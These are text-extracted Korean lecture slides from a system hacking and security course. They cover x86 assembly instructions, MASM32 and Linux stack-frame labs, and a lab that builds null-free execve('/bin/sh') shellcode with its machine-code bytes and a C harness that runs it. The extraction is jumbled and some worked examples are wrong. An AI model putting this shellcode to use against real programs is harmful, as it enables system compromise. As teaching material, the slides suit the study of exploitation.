0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 22: 80×86  시스템에 대한 이해

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

